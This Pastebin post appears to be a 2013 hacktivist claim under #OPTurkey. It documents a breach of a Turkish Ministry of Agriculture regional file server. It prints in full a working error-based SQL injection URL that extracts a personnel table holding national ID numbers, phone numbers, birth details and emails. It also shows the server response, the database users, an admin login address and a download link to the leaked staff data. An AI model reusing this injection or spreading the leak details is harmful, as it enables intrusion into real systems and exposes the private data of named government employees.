Advertisement
Guest User

Ministry of Agriculture Turkey - by CyberSecPT on #OPTurkey

a guest
Jun 9th, 2013
381
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. Ministry of Agriculture of Turkey - Organization on Farmin. and Aquaculture Sb. Food and Feed Sb. Coordination and Agricultural Information Branch
  2. http://dosya.mugla-tarim.gov.tr
  3.  
  4. One of the query's done for the attack:
  5.  
  6. http://dosya.mugla-tarim.gov.tr/perbis/pbs_perlist.php?sube_id=1+and(select+1+from(select+count(*),concat(0x53514c69,mid((select+concat(group_concat(0x6868,r,0x6a6a,hex(cast(q+as+char)),0x6868+order+by+r+separator+0x6767),0x69)from(select+hex(cast(concat(trim(ifnull(`adi`,0x00)),0x7f,trim(ifnull(`aile_sira_no`,0x00)),0x7f,trim(ifnull(`ana_adi`,0x00)),0x7f,trim(ifnull(`baba_adi`,0x00)),0x7f,trim(ifnull(`cilt_no`,0x00)),0x7f,trim(ifnull(`cinsiyeti`,0x00)),0x7f,trim(ifnull(`derece_kademe`,0x00)),0x7f,trim(ifnull(`dogum_tarihi`,0x00)),0x7f,trim(ifnull(`dogum_yeri`,0x00)),0x7f,trim(ifnull(`email`,0x00)),0x7f,trim(ifnull(`emekli_sicil`,0x00)),0x7f,trim(ifnull(`eski_soyadi`,0x00)),0x7f,trim(ifnull(`gorevi`,0x00)),0x7f,trim(ifnull(`gorev_yeri`,0x00)),0x7f,trim(ifnull(`hizmet_sinifi`,0x00)),0x7f,trim(ifnull(`icq`,0x00)),0x7f,trim(ifnull(`il_trafik_kodu`,0x00)),0x7f,trim(ifnull(`kayitli_oldugu_il`,0x00)),0x7f,trim(ifnull(`kayitli_oldugu_ilce`,0x00)),0x7f,trim(ifnull(`mahalle`,0x00)),0x7f,trim(ifnull(`msn`,0x00)),0x7f,trim(ifnull(`nufus_sira_no`,0x00)),0x7f,trim(ifnull(`ogrenim_durumu`,0x00)),0x7f,trim(ifnull(`ozgecmis`,0x00)),0x7f,trim(ifnull(`sira_no`,0x00)),0x7f,trim(ifnull(`soyadi`,0x00)),0x7f,trim(ifnull(`tc_kimlik`,0x00)),0x7f,trim(ifnull(`tel_cep`,0x00)),0x7f,trim(ifnull(`tel_dahili`,0x00)),0x7f,trim(ifnull(`tel_ev`,0x00)),0x7f,trim(ifnull(`tel_is`,0x00)),0x7f,trim(ifnull(`toplam_hizmet`,0x00)),0x7f,trim(ifnull(`unvan_adi`,0x00)))as+char))r,count(*)q+from+`mugla_personel`.`tb_personel`+group+by+r+limit+284,65536)x),900,64),floor(rand(0)*2))from+information_schema.tables+group+by+2)a)--+
  7.  
  8. HTTP/1.1 200 OK
  9. Content-Length: 7347
  10. Date: Sun, 09 Jun 2013 13:51:49 GMT
  11. Server: Apache/2.2.3 (CentOS)
  12. X-Powered-By: PHP/5.2.17
  13. X-Powered-By: PleskLin
  14. Content-Type: text/html
  15. Age: 2
  16. Connection: keep-alive
  17.  
  18. Database version: 5.0.95
  19. Current db: mugla_personel
  20. Current user: mugladosyaftp2@localhost
  21. Authenticated user: mugladosyaftp2@%
  22.  
  23. Admin page: https://dosya.mugla-tarim.gov.tr:8443/login.php3
  24.  
  25. Table tb_personnel(the important table, the others are there too) leaked link: https://anonfiles.com/file/5df2bf1d63656e2ab87a416899a30a99
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement